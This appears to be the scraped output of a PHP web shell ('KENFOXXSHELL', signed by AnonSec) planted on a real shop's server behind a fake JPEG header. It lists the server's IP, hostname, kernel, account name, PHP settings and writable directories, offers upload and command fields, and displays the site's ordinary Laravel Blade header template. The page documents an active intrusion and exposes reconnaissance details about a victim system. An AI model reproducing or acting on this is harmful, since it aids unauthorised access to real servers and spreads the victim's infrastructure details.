JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/resources/views/templates/layout/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/resources/views/templates/layout/header.blade.php
<?php

use App\ProductCate;
use App\Products;
use App\Bigs;
use App\NewsCate;

$setting = Cache::get('setting');
$catproduct = Cache::get('catproduct');
$catnews = Cache::get('catnews');
$aboutnews = Cache::get('aboutnews');
$a = App::getLocale();
if (Auth::guard('customer')->check()) {
    @$user = DB::table('users')->select()->where('id', Auth::guard('customer')->user()->id)->get()->first();
} else {
    @$user = DB::table('users')->select()->where('id', Auth::guard('socialite')->user()->id)->get()->first();
}
?>
<script type="text/javascript">
    function updatecart(id, kieu, qty) {
        var qty = parseInt($('#qty' + id).val());
        if (kieu == 'minus') {
            if (qty == 1) {
                alert('Bạn không thể chọn số lượng thấp hơn 1. Mời bạn chọn lại');
                qty = 1
            } else {
                qty -= 1;
            }
        } else if (kieu == 'add') {
            qty += 1;
        }
        this.document.location.href = "updatecart/" + id + "/" + qty;
    }
</script>

<nav class="vk-menu__main vk-menu-main__mobile collapse" id="collapseExample">
    <div class="row no-gutter" data-layout="full-height">
        <div class="col-lg-6  vk-menu__left">
        </div>
        <div class="col-lg-6">
            <div class="vk-menu__right">
                <div class="vk-header__button vk-header__button--close">
                    <label for="buttonMenuClose">Close</label>
                    <button class="vk-btn vk-btn--menu-close vk-menu__close" id="buttonMenuClose" data-toggle="collapse" data-target="#collapseExample">
                        <img src="{{ asset('images/icon/menu-close.png') }}" alt="">
                    </button>
                </div>
                <div class="vk-menu__logo">
                    <a href="{{ url('/') }}" title="">
                        <img src="{{ asset('upload/hinhanh/'.$setting->images) }}" alt="home" class="img-fluid">
                    </a>
                </div>
                <div class="vk-lang d-md-none" style="margin-bottom: 20px;">
                    <a href="{{ asset('change/en') }}" class="<?php echo $a == 'vi' ? "" : "active" ?>">ENG</a>
                    <a href="{{ asset('change/vi') }}" class="<?php echo $a == 'vi' ? "active" : "" ?>">VIE</a>
                </div>
                <div class="vk-menu__menu vk-menu__mobile-new">
                    <ul class="vk-list vk-menu__list">
                        @php
                        $menuParent = Menu_fix::where('parent_id', null)->orderBy('position')->get();
                        @endphp
                        
                        @foreach ($menuParent as $item)
                        @if (count($item->get_child_cate()) > 0)
                        <li class="{{ $item->class == null ? 'vk-list__item top-nav-press' : 'vk-list__item top-nav-shop top-nav-has-sub-nav' }} sub-menu">
                        @else
                        <li class="{{ $item->class == null ? 'vk-list__item top-nav-press' : 'vk-list__item top-nav-shop top-nav-has-sub-nav' }}">
                        @endif
                            <a href="{{ asset($item->url) }}" title="">
                                <span><?php echo $a == 'vi' ?  $item->title : $item->tileeg ?></span>
                                @if (count($item->get_child_cate()) > 0)
                                <i class="fa fa-caret-right menu-icon"></i>
                                @endif
                            </a>

                            @if (count($item->get_child_cate()) > 0)
                            <div id="submenu-sheets-{{ $item->id }}" class="popover">
                                <ul class="dropdown-menu first-tier" role="menu">
                                    
                                    @foreach ($item->get_child_cate() as $item2)                                    
                                    @if (count($item2->get_child_cate()) > 0)
                                    <li class="three-tier-nav sub-menu">
                                    @else
                                    <li class="three-tier-nav">
                                    @endif
                                        <a class="alpha " href="{{ $item2->url }}">
                                            <span>@if ($a == 'vi')
                                            {{ $item2->title }}
                                            @else
                                            {{ $item2->tileeg }}
                                            @endif</span>

                                            @if (count($item2->get_child_cate()) > 0)
                                            <i class="fa fa-caret-right menu-icon"></i>
                                            @endif
                                        </a>
                                        @if (count($item2->get_child_cate()) > 0)
                                        <div class="popover">
                                            <ul class="dropdown-menu second-tier">
                                                @foreach ($item2->get_child_cate() as $item3)
                                                @if (count($item3->get_child_cate()) > 0)
                                                <li data-submenu-id="submenu-luxe-submenu-{{ $item3->id }}" class="sub-menu">
                                                @else
                                                <li data-submenu-id="submenu-luxe-submenu-{{ $item3->id }}">
                                                @endif                                                
                                                    @if (!empty($item3->image))
                                                    <img src="{{ asset('upload/menu/'.$item3->image ) }}">
                                                    <div class="menu-item-text">
                                                        <h5 class="popover-title">
                                                            @if ($a == 'vi')
                                                            {{ $item3->title }}
                                                            @else
                                                            {{ $item3->tileeg }}
                                                            @endif
                                                        </h5>
                                                        @if ($a == 'vi')
                                                        <p>{{ $item3->mota }}</p>
                                                        @else
                                                        <p>{{ $item3->motaeg }}</p>
                                                        @endif
                                                    </div>
                                                    @else
                                                    <a class="alpha" href="{{ $item3->url }}">
                                                        <span>@if ($a == 'vi')
                                                        {{ $item3->title }}
                                                        @else
                                                        {{ $item3->tileeg }}
                                                        @endif</span>

                                                        @if (count($item3->get_child_cate()) > 0)
                                                        <i class="fa fa-caret-right menu-icon"></i>
                                                        @endif
                                                    </a>
                                                    @endif
                                                    @if (count($item3->get_child_cate()) > 0 )
                                                    <ul class="dropdown-menu third-tier popover sheets">
                                                        @foreach ($item3->get_child_cate() as $item4)
                                                        @if (count($item4->get_child_cate()) > 0)
                                                        <li data-submenu-id="submenu-luxe-{{ $item4->id }}" class="sub-menu">
                                                        @else
                                                        <li data-submenu-id="submenu-luxe-{{ $item4->id }}">
                                                        @endif 
                                                            @if (!empty($item4->image))
                                                            <img src="{{ asset('upload/menu/'.$item4->image ) }}">

                                                            <div class="menu-item-text">
                                                                <h5 class="popover-title">
                                                                    @if ($a == 'vi')
                                                                    {{ $item4->title }}
                                                                    @else
                                                                    {{ $item4->tileeg }}
                                                                    @endif
                                                                </h5>
                                                                @if ($a == 'vi')
                                                                <p>{{ $item4->mota }}</p>
                                                                @else
                                                                <p>{{ $item4->motaeg }}</p>
                                                                @endif
                                                            </div>
                                                            @else
                                                            <a class="alpha" href="{{ $item4->url }}">
                                                                <span>@if ($a == 'vi')
                                                                {{ $item4->title }}
                                                                @else
                                                                {{ $item4->tileeg }}
                                                                @endif</span>

                                                                @if (count($item4->get_child_cate()) > 0)
                                                                <i class="fa fa-caret-right menu-icon"></i>
                                                                @endif
                                                            </a>
                                                            @endif
                                                            @if (count($item4->get_child_cate()) > 0 )
                                                            <ul class=" third-tier popover sheets">
                                                                @foreach ($item4->get_child_cate() as $item5)
                                                                @if (!empty($item5->image))
                                                                <img src="{{ asset('upload/menu/'.$item5->image ) }}">
                                                                <div class="menu-item-text">
                                                                    <h5 class="popover-title">
                                                                        @if ($a == 'vi')
                                                                        {{ $item5->title }}
                                                                        @else
                                                                        {{ $item5->tileeg }}
                                                                        @endif
                                                                    </h5>
                                                                    @if ($a == 'vi')
                                                                    <p>{{ $item5->mota }}</p>
                                                                    @else
                                                                    <p>{{ $item5->motaeg }}</p>
                                                                    @endif
                                                                </div>
                                                                @else
                                                                <a class="alpha" href="{{ $item5->url }}">
                                                                    <span>@if ($a == 'vi')
                                                                    {{ $item5->title }}
                                                                    @else
                                                                    {{ $item5->tileeg }}
                                                                    @endif</span>

                                                                </a>
                                                                @endif
                                                                @endforeach
                                                            </ul>
                                                            @endif
                                                        </li>
                                                        @endforeach
                                                    </ul>
                                                    @endif
                                                </li>
                                                @endforeach
                                            </ul>
                                        </div>
                                        @endif
                                    </li>
                                    @endforeach
                                </ul>
                            </div>
                             @endif
                        </li>
                        @endforeach
                    </ul>
                </div>
                <div class="vk-menu__info">
                    <p>Hotline: <a href="callto:<?php echo $setting->phone ?>" title=""><b class="vk-text--red-1"><?php echo $setting->phone ?></b></a></p>
                    <p>Email: <a href="mailto:<?php echo $setting->email ?>" title=""><?php echo $setting->email ?></a></p>
                </div>
            </div>
        </div>
</nav>
<header class="vk-header" data-layout="sticky">
    <div class="container">
        <div class="vk-header__content">
            <div class="vk-header__left">
                <div class="vk-header__logo">
                    <a href="{{ url('/') }}" title="">
                        <img src="{{ asset('upload/hinhanh/'.$setting->photo) }}" alt="">
                    </a>
                </div>
                <!-- Main menu -->
                <ul class="vk-menu__sub vk-menu__sub--mod vk-list text-uppercase d-none d-lg-flex">
                    <li class="vk-list__item top-nav-shop top-nav-has-sub-nav">
                        <a title="Shop">Shop </a>
                    </li>
                    <li class="vk-list__item top-nav-press"><a href="{{ url('com-bo')}}" title=""><?php echo $a == 'vi' ? "Hàng hot" : "Best Sales" ?> </a></li>

                    <?php
                    foreach ($catnews as $rows) {
                    ?>
                        <li class="vk-list__item <?php if ($rows->id == 2) { ?> top-nav-about top-nav-has-sub-nav<?php } ?>"><a href="{{ asset($rows->alias.'.html') }}" title=""><?php echo $a == 'vi' ? $rows->name : $rows->name_eg ?> </a></li>
                    <?php } ?>
                    <li class="vk-list__item top-nav-press"><a href="{{ url('lien-he')}}" title=""><?php echo $a == 'vi' ? "Liên hệ" : "Contact" ?> </a></li>
                </ul>
                <div class="vk-form__search vk-header__search">
                    <form class="input-group search-bar" method="get" action="{!! url('tim-kiem') !!}" role="search">
                        <input type="text" name="txtSearch" class="form-control" id="headerSearch" placeholder="Search...">
                        <label class="vk-form__label" for="headerSearch"><i class="fa fa-search"></i></label>
                    </form>
                </div>
            </div>
            <!--./left-->
            <div class="vk-header__right">
                <div class="vk-header__button d-lg-none">
                    <a href="#" class="vk-btn vk-btn--menu" id="buttonMenu" data-toggle="collapse" data-target="#collapseExample">
                        <span></span>
                        <span></span>
                        <span></span>
                    </a>
                    <label for="buttonMenu" data-toggle="collapse" data-target="#collapseExample">Menu</label>
                </div>
                <ul class="vk-menu__sub vk-list d-none d-lg-flex">
                    <li class="vk-list__item">
                        <?php if (!empty($user)) { ?>
                            <a><i class="fa fa-user-o"></i>&nbsp; {{ $user->name }}</a> <br />
                            <a href="{{ url('dang-xuat') }}"><b class="fa fa-sign-out"></b> Thoát</a>
                        <?php } else { ?>
                            <a href="#" title="" data-toggle="modal" data-target="#account"><i class="fa fa-user-o"></i>&nbsp; <?php echo $a == 'vi' ? "Tài khoản" : "Account" ?></a>
                        <?php } ?>
                    </li>
                    <li class="vk-list__item"><a href="{{ url('gio-hang') }}" title="<?php echo $a == 'vi' ? "Giỏ hàng" : "Cart" ?>"><i class="fa fa-shopping-cart"></i>&nbsp;<?php $product_cart = Cart::content();
                                                                                                                                                                                echo count($product_cart) ?>
                            <?php echo $a == 'vi' ? "sản phẩm" : "item" ?></a>
                    </li>
                </ul>
                <div class="vk-lang d-md-flex d-lg-flex d-none">
                    <a href="{{ asset('change/en') }}" class="<?php echo $a == 'vi' ? "" : "active" ?>">ENG</a>
                    <a href="{{ asset('change/vi') }}" class="<?php echo $a == 'vi' ? "active" : "" ?>">VIE</a>
                </div>
            </div>
            <!--./right-->
        </div>
    </div>
    <!------------------------------------------------------------------>
    <!-- Includes inline styles that are used to set default display values -->
    <div class="top-nav-sub-nav shop-sub-nav tiered-nav">
        <div class="wrapper">
            <div class="tiered-nav-wrapper">
                <ul class="dropdown-menu first-tier gco" role="menu">
                    <?php
                    $ids = array();
                    foreach ($catproduct as $key => $value) {
                        $ids[] = $value->id;
                        $catpro = ProductCate::select('id', 'name', 'name_eg', 'parent_id', 'alias')->where('parent_id', $value->id)->where('status', 1)->orderBy('stt', 'asc')->get();
                    ?>
                        <li data-submenu-id="<?php echo $value->alias ?>" class="three-tier-nav">
                            <?php if ($value->alias != 'cac-mau-theu') {  ?>
                                <a href="{{ asset($value->alias.'.htm') }}">{!! $a == 'vi' ? $value->name : $value->name_eg !!}</a>
                            <?php } else { ?>
                                <a href="https://bellizeno.com/blog/nhung-mau-theu-dat-hang-nhat-bellizeno.p13.html">{!! $a == 'vi' ? $value->name : $value->name_eg !!}</a>
                            <?php } ?>
                            <div id="<?php echo $value->alias ?>" class="popover">
                                <?php
                                if (count($catpro) > 0) {
                                ?>
                                    <ul class="dropdown-menu second-tier">
                                        <!----  sản phẩm gói ------->
                                        <?php
                                        $product_big = Products::select('id', 'name', 'name_eg', 'alias')->where('cate_id', $value->id)->where('type', null)->where('status', 1)->orderBy('stt', 'asc')->get();
                                        foreach ($product_big as $cuoi) {
                                        ?>
                                            <li data-submenu-id="<?php echo $cuoi->alias ?>">
                                                <a class="alpha" href="{{ asset($cuoi->alias.'.'.$cuoi->id.'.html') }}">{!! $a == 'vi' ? $cuoi->name : $cuoi->name_eg !!} </a>
                                                <!-- ul.submenu-luxe-collection -->
                                                <?php
                                                $type_big = Bigs::select('id', 'big_pro', 'pro_id')->where('big_pro', $cuoi->id)->where('status', 1)->get();

                                                if (count($type_big) > 0) {
                                                ?>
                                                    <ul id="<?php echo $cuoi->alias ?>" class="dropdown-menu third-tier popover sheets">
                                                        <?php
                                                        foreach ($type_big as $v => $rows) {

                                                            $product_of_big = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota', 'alias')->where('id', $rows->pro_id)->where('status', 1)->orderBy('stt', 'asc')->first();
                                                            if (!empty($product_of_big)) {
                                                        ?>
                                                                <!-- all-luxe -->
                                                                <li class="list-product" data-submenu-id="<?php echo $product_of_big->alias ?>">
                                                                    <a href="{{ asset($product_of_big->alias.'.'.$product_of_big->id.'.html') }}">{!! $a == 'vi' ? $product_of_big->name : $product_of_big->name_eg !!}</a>

                                                                    <a id="<?php echo $product_of_big->alias ?>" class="popover">
                                                                        <img src="{{ asset('upload/product/'.$product_of_big->photo)}}" />
                                                                        <div class="menu-item-text">
                                                                            <h5 class="popover-title">{!! $a == 'vi' ? $product_of_big->name : $product_of_big->name_eg !!}</h5>
                                                                            <p><?php echo _substr($a == 'vi' ? $product_of_big->mota : $product_of_big->mota_eg, 100) ?></p>
                                                                        </div>
                                                                    </a>

                                                                </li>
                                                            <?php } ?>
                                                        <?php } ?>
                                                        <!-- luxe-core -->
                                                    </ul>
                                                <?php } elseif (count($type_big) <= 0) { ?>
                                                    <ul id="<?php echo $cuoi->alias ?>" class="dropdown-menu third-tier popover sheets ul-check-one">
                                                        <!-- all-luxe -->
                                                        <li id="caigiday" class="list-product" data-submenu-id="<?php echo @$cuoi->alias ?>" style="width: 100%;">
                                                            <?php
                                                            $product_n = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota')->where('cate_id', $cuoi->id)->where('type', 'sanpham')->where('status', 1)->orderBy('stt', 'asc')->first();
                                                            if (!empty($product_n)) {
                                                            ?>

                                                                <img src="{{ asset('upload/product/'.@$product_n->photo)}}" />
                                                                <div id="nonecolor" class="menu-item-text">
                                                                    <h5 class="popover-title">{!! $a == 'vi' ? $product_n->name : $product_n->name_eg !!}</h5>
                                                                    <p><?php echo _substr($a == 'vi' ? $product_n->mota : $product_n->mota_eg, 50) ?></p>
                                                                </div>

                                                            <?php } ?>
                                                        </li>

                                                        <!-- luxe-core -->
                                                    </ul>
                                                <?php } ?>
                                                <!-- /ul.submenu-luxe-collection -->
                                            </li>
                                        <?php } ?>
                                        <!---- End sản phẩm gói ------->
                                        <?php

                                        foreach ($catpro as $k => $val) {
                                            $ids[] = $val->id;
                                            $cat = ProductCate::select('id', 'name', 'name_eg', 'parent_id', 'alias')->where('parent_id', $val->id)->where('status', 1)->orderBy('stt', 'asc')->get();

                                        ?>
                                            <!------- t c ---->
                                            <!------- end -->
                                            <li data-submenu-id="<?php echo $val->alias ?>">
                                                <a class="alpha" href="{{ asset($val->alias.'.htm') }}">{!! $a == 'vi' ? $val->name : $val->name_eg !!} </a>
                                                <!-- ul.submenu-luxe-collection -->
                                                <?php
                                                if (count($cat) > 0) {
                                                ?>
                                                    <ul id="<?php echo $val->alias ?>" class="dropdown-menu third-tier popover sheets">
                                                        <?php
                                                        foreach ($cat as $v => $rows) {
                                                            $ids[] = $rows->id;
                                                        ?>
                                                            <!-- all-luxe -->
                                                            <li class="list-product" data-submenu-id="<?php echo $rows->alias ?>">
                                                                <a href="{{ asset($rows->alias.'.htm') }}">{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}</a>
                                                                <?php
                                                                $product_n = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota')->whereIn('cate_id', $ids)->where('type', 'sanpham')->where('status', 1)->orderBy('stt', 'asc')->first();
                                                                ?>
                                                                <a id="<?php echo $rows->alias ?>" class="popover">
                                                                    <img src="{{ asset('upload/product/'.$product_n->photo)}}" />
                                                                    <div class="menu-item-text">
                                                                        <h5 class="popover-title">{!! $a == 'vi' ? $product_n->name : $product_n->name_eg !!}</h5>
                                                                        <p><?php echo _substr($a == 'vi' ? $product_n->mota : $product_n->mota_eg, 100) ?></p>
                                                                    </div>
                                                                </a>
                                                            </li>
                                                        <?php } ?>
                                                        <!-- luxe-core -->
                                                    </ul>
                                                <?php } elseif (count($cat) <= 0) { ?>
                                                    <ul id="<?php echo $val->alias ?>" class="dropdown-menu third-tier popover ">
                                                        <!----  sản phẩm gói ------->
                                                        <?php
                                                        $product_big = Products::select('id', 'name', 'name_eg', 'alias')->where('cate_id', $val->id)->where('type', null)->where('status', 1)->orderBy('stt', 'asc')->get();
                                                        if (count($product_big) > 0) {
                                                            foreach ($product_big as $cuoi) {
                                                        ?>
                                                                <li data-submenu-id="<?php echo $cuoi->alias ?>">
                                                                    <a class="alpha" href="{{ asset($cuoi->alias.'.'.$cuoi->id.'.html') }}">{!! $a == 'vi' ? $cuoi->name : $cuoi->name_eg !!} </a>
                                                                    <!-- ul.submenu-luxe-collection -->
                                                                    <?php
                                                                    $type_big = Bigs::select('id', 'big_pro', 'pro_id')->where('big_pro', $cuoi->id)->where('status', 1)->get();

                                                                    if (count($type_big) > 0) {
                                                                    ?>
                                                                        <ul id="<?php echo $cuoi->alias ?>" class="dropdown-menu third-tier popover sheets">
                                                                            <?php
                                                                            foreach ($type_big as $v => $rows) {

                                                                                $product_of_big = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota', 'alias')->where('id', $rows->pro_id)->where('status', 1)->orderBy('stt', 'asc')->first();
                                                                                if (!empty($product_of_big)) {
                                                                            ?>
                                                                                    <!-- all-luxe -->
                                                                                    <li class="list-product" data-submenu-id="<?php echo $product_of_big->alias ?>">
                                                                                        <a href="{{ asset($product_of_big->alias.'.'.$product_of_big->id.'.html') }}">{!! $a == 'vi' ? $product_of_big->name : $product_of_big->name_eg !!}</a>

                                                                                        <a id="<?php echo $product_of_big->alias ?>" class="popover">
                                                                                            <img src="{{ asset('upload/product/'.$product_of_big->photo)}}" />
                                                                                            <div class="menu-item-text">
                                                                                                <h5 class="popover-title">{!! $a == 'vi' ? $product_of_big->name : $product_of_big->name_eg !!}</h5>
                                                                                                <p><?php echo _substr($a == 'vi' ? $product_of_big->mota : $product_of_big->mota_eg, 100) ?></p>
                                                                                            </div>
                                                                                        </a>

                                                                                    </li>
                                                                                <?php } ?>
                                                                            <?php } ?>
                                                                            <!-- luxe-core -->
                                                                        </ul>
                                                                    <?php } ?>

                                                                    <!-- /ul.submenu-luxe-collection -->
                                                                </li>
                                                            <?php } ?>
                                                        <?php } ?>
                                                        <!---- End sản phẩm gói ------->
                                                        <!-- all-luxe -->
                                                        <li id="caigiday" class="list-product" data-submenu-id="<?php echo @$val->alias ?>" style="width: 100%;">
                                                            <?php
                                                            $product_n = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota', 'alias')->where('cate_id', $val->id)->where('type', 'sanpham')->where('status', 1)->orderBy('stt', 'desc')->first();
                                                            if (!empty($product_n)) {
                                                            ?>

                                                                <img src="{{ asset('upload/product/'.@$product_n->photo)}}" />
                                                                <div id="nonecolor" class="menu-item-text">
                                                                    <h5 class="popover-title"><a href="{{ asset($product_n->alias.'.'.$product_n->id.'.html') }}" title="{!! $a == 'vi' ? $product_n->name : $product_n->name_eg !!}">{!! $a == 'vi' ? $product_n->name : $product_n->name_eg !!}</a></h5>
                                                                    <p><?php echo _substr($a == 'vi' ? $product_n->mota : $product_n->mota_eg, 50) ?></p>
                                                                </div>

                                                            <?php } ?>
                                                        </li>

                                                        <!-- luxe-core -->
                                                    </ul>
                                                <?php } ?>
                                                <!-- /ul.submenu-luxe-collection -->
                                            </li>
                                        <?php } ?>
                                        <!-- /Luxe Products Popup -->
                                    </ul>
                                <?php } elseif (count($catpro) <= 0) {
                                    $product_big = Products::select('id', 'name', 'name_eg', 'alias')->where('cate_id', $value->id)->where('type', null)->where('status', 1)->orderBy('stt', 'asc')->get();
                                ?>


                                    <ul id="<?php if (count($product_big) > 0) {
                                                echo 'dropdown-menu second-tier';
                                            } else {
                                                echo 'ul-check-one';
                                            } ?>" class="dropdown-menu second-tier">

                                        <!----  sản phẩm gói ------->
                                        <?php

                                        foreach ($product_big as $cuoi) {
                                        ?>
                                            <li data-submenu-id="<?php echo $cuoi->alias ?>">
                                                <a class="alpha" href="{{ asset($cuoi->alias.'.'.$cuoi->id.'.html') }}">{!! $a == 'vi' ? $cuoi->name : $cuoi->name_eg !!} </a>
                                                <!-- ul.submenu-luxe-collection -->
                                                <?php
                                                $type_big = Bigs::select('id', 'big_pro', 'pro_id')->where('big_pro', $cuoi->id)->where('status', 1)->get();

                                                if (count($type_big) > 0) {
                                                ?>
                                                    <ul id="<?php echo $cuoi->alias ?>" class="dropdown-menu third-tier popover sheets">
                                                        <?php
                                                        foreach ($type_big as $v => $rows) {

                                                            $product_of_big = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota', 'alias')->where('id', $rows->pro_id)->where('status', 1)->orderBy('stt', 'asc')->first();
                                                            if (!empty($product_of_big)) {
                                                        ?>
                                                                <!-- all-luxe -->
                                                                <li class="list-product" data-submenu-id="<?php echo $product_of_big->alias ?>">
                                                                    <a href="{{ asset($product_of_big->alias.'.'.$product_of_big->id.'.html') }}">{!! $a == 'vi' ? $product_of_big->name : $product_of_big->name_eg !!}</a>

                                                                    <a href="{{ asset($product_of_big->alias.'.'.$product_of_big->id.'.html') }}" title="{!! $a == 'vi' ? $product_of_big->name : $product_of_big->name_eg !!}" id="<?php echo $product_of_big->alias ?>" class="popover">
                                                                        <img src="{{ asset('upload/product/'.$product_of_big->photo)}}" />
                                                                        <div class="menu-item-text">
                                                                            <h5 class="popover-title">{!! $a == 'vi' ? $product_of_big->name : $product_of_big->name_eg !!}</h5>
                                                                            <p><?php echo _substr($a == 'vi' ? $product_of_big->mota : $product_of_big->mota_eg, 100) ?></p>
                                                                        </div>
                                                                    </a>

                                                                </li>
                                                            <?php } ?>
                                                        <?php } ?>
                                                        <!-- luxe-core -->
                                                    </ul>
                                                <?php } elseif (count($type_big) <= 0) { ?>
                                                    <ul id="<?php echo $cuoi->alias ?>" class="dropdown-menu third-tier popover sheets ul-check-one">
                                                        <!-- all-luxe -->
                                                        <li id="caigiday" class="list-product" data-submenu-id="<?php echo @$cuoi->alias ?>" style="width: 100%;">
                                                            <?php
                                                            $product_n = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota')->where('cate_id', $cuoi->id)->where('type', 'sanpham')->where('status', 1)->orderBy('stt', 'asc')->first();
                                                            if (!empty($product_n)) {
                                                            ?>

                                                                <img src="{{ asset('upload/product/'.@$product_n->photo)}}" />
                                                                <div id="nonecolor" class="menu-item-text">
                                                                    <h5 class="popover-title">{!! $a == 'vi' ? $product_n->name : $product_n->name_eg !!}</h5>
                                                                    <p><?php echo _substr($a == 'vi' ? $product_n->mota : $product_n->mota_eg, 50) ?></p>
                                                                </div>

                                                            <?php } ?>
                                                        </li>

                                                        <!-- luxe-core -->
                                                    </ul>
                                                <?php } ?>
                                                <!-- /ul.submenu-luxe-collection -->
                                            </li>
                                        <?php } ?>
                                        <!---- End sản phẩm gói ------->
                                        <!-- all-luxe -->
                                        <?php if (count($product_big) <= 0) { ?>

                                            <li id="caigiday" class="list-product" data-submenu-id="<?php echo $value->alias ?>" style="width: 100%;">
                                                <?php
                                                $product_n = Products::select('id', 'name', 'name_eg', 'images', 'photo', 'mota_eg', 'mota', 'alias')->where('cate_id', $value->id)->where('type', 'sanpham')->where('status', 1)->orderBy('stt', 'asc')->first();
                                                if (!empty($product_n)) {
                                                ?>
                                                    <img src="{{ asset('upload/product/'.$product_n->photo)}}" />
                                                    <div id="nonecolor" class="menu-item-text">
                                                        <h5 class="popover-title"><a href="{{ asset($product_n->alias.'.'.$product_n->id.'.html') }}" title="{!! $a == 'vi' ? $product_n->name : $product_n->name_eg !!}">{!! $a == 'vi' ? $product_n->name : $product_n->name_eg !!}</a></h5>
                                                        <p><?php echo _substr($a == 'vi' ? $product_n->mota : $product_n->mota_eg, 50) ?></p>
                                                    </div>

                                            </li>
                                    <?php }
                                            } ?>
                                    <!-- luxe-core -->
                                    </ul>
                                <?php } ?>
                            </div>
                        </li>
                    <?php } ?>
                </ul>
            </div>
        </div>
    </div>
    <!-- trip new -->
    <div class="top-nav-sub-nav about-sub-nav tiered-nav">

        <div class="wrapper">
            <div class="tiered-nav-wrapper">
                <ul class="dropdown-menu" role="menu">
                    <?php
                    foreach ($aboutnews as $o => $rows) {
                        $catnews = NewsCate::select('id', 'alias', 'name', 'name_eg')->where('id', $rows->cate_id)->where('status', 1)->first();
                    ?>
                        <li class="single-item" data-submenu-id="{!! $rows->id !!}">
                            <a href="<?php if ($rows->alias != null) { ?> {{ asset(@$catnews->alias.'/'.$rows->alias.'.p'.$rows->id.'.html') }} <?php } else { ?>{{ asset(@$catnews->alias.'/'.changeTitle($rows->name).'.p'.$rows->id.'.html') }} <?php } ?>" title="{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}">{!! $a == 'vi' ? $rows->name : $rows->name_eg !!} </a>
                            <a href="<?php if ($rows->alias != null) { ?> {{ asset(@$catnews->alias.'/'.$rows->alias.'.p'.$rows->id.'.html') }} <?php } else { ?>{{ asset(@$catnews->alias.'/'.changeTitle($rows->name).'.p'.$rows->id.'.html') }} <?php } ?>" title="{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}" id="{!! $rows->id !!}" class="popover" style="<?php if ($o == 0) { ?>display: block;<?php } ?>">
                                <img src="{{ asset('upload/news/'.$rows->photo) }}" style="margin-top: 10px; margin-left: 20px; margin-right: 30px;">
                                <div class="menu-item-text" style="padding-top: 0px;">
                                    <h5 class="popover-title">{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}</h5>
                                    <p><?php echo _substr($a == 'vi' ? $rows->mota : $rows->mota_eg, 50) ?></p>
                                </div>
                            </a>
                        </li>
                    <?php } ?>
                </ul>
            </div>
        </div>
    </div>
    <!-- end trip new -->
</header>
<!--./vk-header-->

Anon7 - 2022
AnonSec Team